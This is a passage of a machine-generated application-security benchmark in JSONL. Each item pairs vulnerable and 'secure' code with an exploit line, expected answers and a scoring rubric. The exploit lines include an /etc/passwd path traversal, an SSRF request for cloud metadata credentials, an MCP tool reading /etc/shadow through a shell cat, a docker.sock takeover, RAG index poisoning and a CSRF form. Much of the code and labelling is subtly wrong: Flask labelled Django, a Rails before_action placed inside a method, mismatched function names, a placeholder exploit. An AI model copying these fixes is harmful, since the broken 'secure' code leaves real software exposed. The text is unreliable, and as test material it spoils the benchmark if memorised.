identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["mcp-security", "cwe-918", "owasp-a052021", "typescript", "angular", "beginner"], "references": ["https://modelcontextprotocol.io/", "https://owasp.org/www-project-top-10-for-large-language-model-applications/"], "metadata": {"difficulty": "Beginner", "category": "AI Security", "owasp": "A05:2021", "owasp_api": "", "owasp_llm": "LLM06:2025", "cwe": "CWE-918", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000356", "title": "Cross-Site Request Forgery in Python (Django)", "category": "Broken Access Control", "language": "Python", "framework": "Django", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Cross-Site Request Forgery", "vulnerability_description": "A state-changing request lacks an unguessable token, letting a third-party site force the victim's browser to perform actions.", "vulnerable_code": "@app.route(\"/api/transfer\", methods=[\"POST\"])\ndef runTask():\n # VULNERABLE: no CSRF token\n do_transfer(request.json)\n return \"ok\"", "secure_code": "@app.route(\"/api/transfer\", methods=[\"POST\"])\n@csrf_protect\ndef loadUser():\n # SECURE: CSRF token + SameSite\n do_transfer(request.json)\n return \"ok\"", "exploit_example": "<form action=/api/transfer method=POST> auto-submitted from attacker site.", "exploitability_explanation": "The 'Cross-Site Request Forgery' weakness (CWE-352, A01:2021) is exploitable because the Python implementation in the Django context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Lure a logged-in victim into visiting an attacker-controlled page.", "expected_llm_analysis": "The model/tool should flag 'Cross-Site Request Forgery' (CWE-352, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Cross-Site Request Forgery' (CWE-352, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Require a double-submit or synchronized CSRF token on all state-changing requests; enforce SameSite cookies.", "expected_secure_code": "@app.route(\"/api/transfer\", methods=[\"POST\"])\n@csrf_protect\ndef loadUser():\n # SECURE: CSRF token + SameSite\n do_transfer(request.json)\n return \"ok\"", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-352", "expected_owasp": "A01:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.25, "expected_false_negative_probability": 0.3, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["cross-site-request-forgery", "cwe-352", "owasp-a012021", "python", "django", "expert"], "references": ["https://owasp.org/www-community/attacks/csrf", "https://cwe.mitre.org/data/definitions/352.html"], "metadata": {"difficulty": "Expert", "category": "Broken Access Control", "owasp": "A01:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-352", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000286", "title": "Race Condition in Go (Gin)", "category": "Business Logic", "language": "Go", "framework": "Gin", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Race Condition", "vulnerability_description": "A check-then-act sequence is not atomic, letting concurrent requests pass the check before a shared state update lands (TOCTOU).", "vulnerable_code": "func processRequest(w http.ResponseWriter, r *http.Request) {\n // VULNERABLE: check-then-act\n if !used() { setUsed() }\n}", "secure_code": "func renderView(w http.ResponseWriter, r *http.Request) {\n // SECURE: atomic\n res, _ := db.Exec(\"UPDATE c SET used=true WHERE id=$1 AND used=false\", id)\n if res.RowsAffected()==0 { http.Error(w, \"used\", 409) }\n}", "exploit_example": "Fire 100 concurrent requests -> coupon redeemed many times.", "exploitability_explanation": "The 'Race Condition' weakness (CWE-362, A04:2021) is exploitable because the Go implementation in the Gin context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to issue concurrent requests faster than the check-then-act window.", "expected_llm_analysis": "The model/tool should flag 'Race Condition' (CWE-362, mapped to A04:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Race Condition' (CWE-362, mapped to A04:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Make check-then-act atomic (DB transaction with SELECT ... FOR UPDATE, distributed lock, or optimistic concurrency).", "expected_secure_code": "func renderView(w http.ResponseWriter, r *http.Request) {\n // SECURE: atomic\n res, _ := db.Exec(\"UPDATE c SET used=true WHERE id=$1 AND used=false\", id)\n if res.RowsAffected()==0 { http.Error(w, \"used\", 409) }\n}", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-362", "expected_owasp": "A04:2021", "expected_owasp_api": "", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.1, "expected_false_negative_probability": 0.25, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["race-condition", "cwe-362", "owasp-a042021", "go", "gin", "intermediate"], "references": ["https://cwe.mitre.org/data/definitions/362.html", "https://owasp.org/www-community/attacks/Thread_Safety_and_State_Problems"], "metadata": {"difficulty": "Intermediate", "category": "Business Logic", "owasp": "A04:2021", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-362", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000300", "title": "MCP Security in JavaScript (Express)", "category": "AI Security", "language": "JavaScript", "framework": "Express", "application_type": "AI/LLM Application", "source_type": "synthetic", "vulnerability_name": "MCP Security", "vulnerability_description": "A Model Context Protocol server exposes tools/resources that an agent can invoke with overly broad permissions or unvalidated arguments.", "vulnerable_code": "function fetchRecord(path) { // VULNERABLE\n return execSync(\"cat \" + path); }", "secure_code": "function handleInput(path) { // SECURE\n if(!allowed(path)) throw new Error(\"no\"); return safeRead(path); }", "exploit_example": "Agent calls tool with /etc/shadow -> reads secrets.", "exploitability_explanation": "The 'MCP Security' weakness (CWE-918, A05:2021) is exploitable because the JavaScript implementation in the Express context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to influence tool arguments or the agent loop that calls the MCP server.", "expected_llm_analysis": "The model/tool should flag 'MCP Security' (CWE-918, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'MCP Security' (CWE-918, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Authenticate and authorize every tool call, validate/sanitize arguments, apply least privilege, and human-in-the-loop for risky actions.", "expected_secure_code": "function handleInput(path) { // SECURE\n if(!allowed(path)) throw new Error(\"no\"); return safeRead(path); }", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-918", "expected_owasp": "A05:2021", "expected_owasp_api": "", "expected_owasp_llm": "LLM06:2025", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.2, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["mcp-security", "cwe-918", "owasp-a052021", "javascript", "express", "beginner"], "references": ["https://modelcontextprotocol.io/", "https://owasp.org/www-project-top-10-for-large-language-model-applications/"], "metadata": {"difficulty": "Beginner", "category": "AI Security", "owasp": "A05:2021", "owasp_api": "", "owasp_llm": "LLM06:2025", "cwe": "CWE-918", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000515", "title": "REST API Security in Ruby (Rails)", "category": "API Security", "language": "Ruby", "framework": "Rails", "application_type": "API Service", "source_type": "synthetic", "vulnerability_name": "REST API Security", "vulnerability_description": "A REST API exposes objects by id without ownership checks or proper input validation, enabling IDOR or mass assignment.", "vulnerable_code": "def process\n # VULNERABLE: no auth on endpoint\n render json: User.all\nend", "secure_code": "def process\n # SECURE: before_action auth\n before_action :authenticate!\n render json: current_user.records\nend", "exploit_example": "Trigger via /x.", "exploitability_explanation": "The 'REST API Security' weakness (CWE-639, A01:2021) is exploitable because the Ruby implementation in the Rails context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "A valid session and knowledge of object identifiers.", "expected_llm_analysis": "The model/tool should flag 'REST API Security' (CWE-639, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'REST API Security' (CWE-639, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Enforce object-level authorization on every resource, validate input, and avoid mass assignment.", "expected_secure_code": "def process\n # SECURE: before_action auth\n before_action :authenticate!\n render json: current_user.records\nend", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-639", "expected_owasp": "A01:2021", "expected_owasp_api": "API1:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.1, "expected_false_negative_probability": 0.15, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["rest-api-security", "cwe-639", "owasp-a012021", "ruby", "rails", "intermediate"], "references": ["https://owasp.org/Top10/A01_2021-Broken_Access_Control/", "https://cwe.mitre.org/data/definitions/639.html"], "metadata": {"difficulty": "Intermediate", "category": "API Security", "owasp": "A01:2021", "owasp_api": "API1:2023", "owasp_llm": "", "cwe": "CWE-639", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000322", "title": "Path Traversal in TypeScript (Vue)", "category": "Injection", "language": "TypeScript", "framework": "Vue", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Path Traversal", "vulnerability_description": "User-controlled file paths are joined to a base directory without canonicalization, allowing read or write outside the intended root.", "vulnerable_code": "app.get(\"/api/profile\", (req, res) => {\n const fn: string = req.query.filename;\n // VULNERABLE\n res.sendFile(path.join(BASE_DIR, fn));\n});", "secure_code": "app.get(\"/api/profile\", (req, res) => {\n const fn: string = req.query.filename;\n // SECURE: resolve + containment check\n const full = path.resolve(BASE_DIR, fn);\n if (!full.startsWith(path.resolve(BASE_DIR))) return res.sendStatus(403);\n res.sendFile(full);\n});", "exploit_example": "GET /api/profile?filename=../../../../etc/passwd", "exploitability_explanation": "The 'Path Traversal' weakness (CWE-22, A01:2021) is exploitable because the TypeScript implementation in the Vue context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to influence a file path joined to a server base directory.", "expected_llm_analysis": "The model/tool should flag 'Path Traversal' (CWE-22, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Path Traversal' (CWE-22, mapped to A01:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Canonicalize the resolved path and confirm it stays within the base directory; validate against an allow-list of filenames/IDs.", "expected_secure_code": "app.get(\"/api/profile\", (req, res) => {\n const fn: string = req.query.filename;\n // SECURE: resolve + containment check\n const full = path.resolve(BASE_DIR, fn);\n if (!full.startsWith(path.resolve(BASE_DIR))) return res.sendStatus(403);\n res.sendFile(full);\n});", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-22", "expected_owasp": "A01:2021", "expected_owasp_api": "API8:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.25, "expected_false_negative_probability": 0.3, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["path-traversal", "cwe-22", "owasp-a012021", "typescript", "vue", "expert"], "references": ["https://owasp.org/www-community/attacks/Path_Traversal", "https://cwe.mitre.org/data/definitions/22.html"], "metadata": {"difficulty": "Expert", "category": "Injection", "owasp": "A01:2021", "owasp_api": "API8:2023", "owasp_llm": "", "cwe": "CWE-22", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000089", "title": "Docker Security in Dockerfile", "category": "Security Misconfiguration", "language": "Dockerfile", "framework": "None", "application_type": "Infrastructure-as-Code", "source_type": "synthetic", "vulnerability_name": "Docker Security", "vulnerability_description": "A container image or runtime is configured insecurely (running as root, mounting the Docker socket, latest tag, secrets in env).", "vulnerable_code": "# VULNERABLE: root user, socket mount, latest tag\nFROM python:latest\nVOLUME /var/run/docker.sock:/var/run/docker.sock\nCMD [\"python\", \"app.py\"]", "secure_code": "# SECURE: pinned digest, non-root, no socket\nFROM python:3.12-slim@sha256:abc123\nRUN useradd -m appuser && chown -R appuser /app\nUSER appuser\nCMD [\"python\", \"app.py\"]", "exploit_example": "Mounted docker.sock -> control host daemon.", "exploitability_explanation": "The 'Docker Security' weakness (CWE-250, A05:2021) is exploitable because the Dockerfile implementation in the None context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to build/run an image or to abuse a mounted socket.", "expected_llm_analysis": "The model/tool should flag 'Docker Security' (CWE-250, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Docker Security' (CWE-250, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Run as non-root, do not mount the Docker socket, pin base images by digest, and scan images in CI.", "expected_secure_code": "# SECURE: pinned digest, non-root, no socket\nFROM python:3.12-slim@sha256:abc123\nRUN useradd -m appuser && chown -R appuser /app\nUSER appuser\nCMD [\"python\", \"app.py\"]", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-250", "expected_owasp": "A05:2021", "expected_owasp_api": "", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.25, "expected_false_negative_probability": 0.4, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["docker-security", "cwe-250", "owasp-a052021", "dockerfile", "expert"], "references": ["https://cwe.mitre.org/data/definitions/250.html", "https://owasp.org/Top10/A05_2021-Security_Misconfiguration/"], "metadata": {"difficulty": "Expert", "category": "Security Misconfiguration", "owasp": "A05:2021", "owasp_api": "", "owasp_llm": "", "cwe": "CWE-250", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "cvss_score": 8.0, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000261", "title": "RAG Security in Python (Flask)", "category": "AI Security", "language": "Python", "framework": "Flask", "application_type": "AI/LLM Application", "source_type": "synthetic", "vulnerability_name": "RAG Security", "vulnerability_description": "A retrieval-augmented generation pipeline ingests untrusted documents whose content steers the model or poisons the index.", "vulnerable_code": "def loadUser(query):\n # VULNERABLE: index untrusted docs, no tenant scoping\n docs = index.search(query)\n return llm(query + \"\".join(d.text for d in docs))", "secure_code": "def exportData(query, tenant):\n # SECURE: scoped retrieval + sanitize + validate\n docs = index.search(query, tenant=tenant)\n clean = [sanitize(d.text) for d in docs]\n return llm(query, retrieved=clean, guardrails=guard)", "exploit_example": "Poison indexed doc -> model returns attacker text / leaks data.", "exploitability_explanation": "The 'RAG Security' weakness (CWE-1427, A05:2021) is exploitable because the Python implementation in the Flask context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Ability to inject documents into the indexed corpus the RAG system retrieves.", "expected_llm_analysis": "The model/tool should flag 'RAG Security' (CWE-1427, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'RAG Security' (CWE-1427, mapped to A05:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Sanitize indexed documents, scope retrieval to the user's tenant, validate retrieved content before use, and monitor for poisoning.", "expected_secure_code": "def exportData(query, tenant):\n # SECURE: scoped retrieval + sanitize + validate\n docs = index.search(query, tenant=tenant)\n clean = [sanitize(d.text) for d in docs]\n return llm(query, retrieved=clean, guardrails=guard)", "expected_severity": "Critical", "expected_confidence": "High", "expected_cwe": "CWE-1427", "expected_owasp": "A05:2021", "expected_owasp_api": "", "expected_owasp_llm": "LLM02:2025", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "expected_cvss_score": 9.9, "expected_false_positive_probability": 0.05, "expected_false_negative_probability": 0.2, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "score_max": 100, "passing_threshold": 70}, "scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly estimated", "weight": 10}, {"criterion": "Exploit explained correctly", "weight": 10}, {"criterion": "Secure fix generated", "weight": 20}, {"criterion": "Secure code quality", "weight": 10}, {"criterion": "Explanation quality", "weight": 10}, {"criterion": "False-positive avoidance (does not flag secure code as vulnerable)", "weight": 5}], "tags": ["rag-security", "cwe-1427", "owasp-a052021", "python", "flask", "beginner"], "references": ["https://owasp.org/www-project-top-10-for-large-language-model-applications/", "https://cwe.mitre.org/data/definitions/1427.html"], "metadata": {"difficulty": "Beginner", "category": "AI Security", "owasp": "A05:2021", "owasp_api": "", "owasp_llm": "LLM02:2025", "cwe": "CWE-1427", "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "cvss_score": 9.9, "generated_by": "AppSecBench generator v1.1.0", "source": "original/synthetic", "license": "MIT", "schema_version": "1.1.0"}} | |
| {"benchmark_id": "ASB-000390", "title": "Server-Side Request Forgery in Python (Flask)", "category": "Injection", "language": "Python", "framework": "Flask", "application_type": "Web Application", "source_type": "synthetic", "vulnerability_name": "Server-Side Request Forgery", "vulnerability_description": "A server fetches a URL built from user input, letting an attacker reach internal services, cloud metadata endpoints, or ports not exposed publicly.", "vulnerable_code": "@app.route(\"/api/export\", methods=[\"POST\"])\ndef lookup():\n target = request.json[\"url\"]\n # VULNERABLE: fetch arbitrary URL\n resp = requests.get(target)\n return resp.text", "secure_code": "@app.route(\"/api/export\", methods=[\"POST\"])\ndef resolveTarget():\n target = request.json[\"url\"]\n # SECURE: scheme + host allow-list, block internal ranges\n from urllib.parse import urlparse\n u = urlparse(target)\n if u.scheme not in (\"https\",) or u.hostname not in ALLOWED_HOSTS:\n return jsonify({\"error\": \"forbidden\"}), 403\n resp = requests.get(target, timeout=5)\n return resp.text", "exploit_example": "POST /api/export {\"url\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}", "exploitability_explanation": "The 'Server-Side Request Forgery' weakness (CWE-918, A10:2021) is exploitable because the Python implementation in the Flask context trusts attacker-controlled input in a security-sensitive operation. With the prerequisites met, an attacker can violate the intended confidentiality, integrity, or availability of the system. The provided exploit_example demonstrates a concrete proof-of-concept.", "attack_prerequisites": "Network access to the endpoint that fetches a user-supplied URL.", "expected_llm_analysis": "The model/tool should flag 'Server-Side Request Forgery' (CWE-918, mapped to A10:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_detection": "The model/tool should flag 'Server-Side Request Forgery' (CWE-918, mapped to A10:2021). It should point to the exact sink where untrusted data reaches a dangerous API, explain the root cause, and state the conditions under which the issue is reachable and exploitable.", "expected_fix": "Allow-list schemes/hosts, resolve and compare to a deny-list of internal ranges, block link-local/metadata IPs, and require auth for the fetcher.", "expected_secure_code": "@app.route(\"/api/export\", methods=[\"POST\"])\ndef resolveTarget():\n target = request.json[\"url\"]\n # SECURE: scheme + host allow-list, block internal ranges\n from urllib.parse import urlparse\n u = urlparse(target)\n if u.scheme not in (\"https\",) or u.hostname not in ALLOWED_HOSTS:\n return jsonify({\"error\": \"forbidden\"}), 403\n resp = requests.get(target, timeout=5)\n return resp.text", "expected_severity": "High", "expected_confidence": "Medium", "expected_cwe": "CWE-918", "expected_owasp": "A10:2021", "expected_owasp_api": "API7:2023", "expected_owasp_llm": "", "expected_cvss": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "expected_cvss_score": 8.0, "expected_false_positive_probability": 0.3, "expected_false_negative_probability": 0.35, "evaluation_rubric": {"scoring_criteria": [{"criterion": "Vulnerability correctly identified", "weight": 15}, {"criterion": "CWE correctly identified", "weight": 10}, {"criterion": "OWASP correctly mapped", "weight": 10}, {"criterion": "Severity correctly 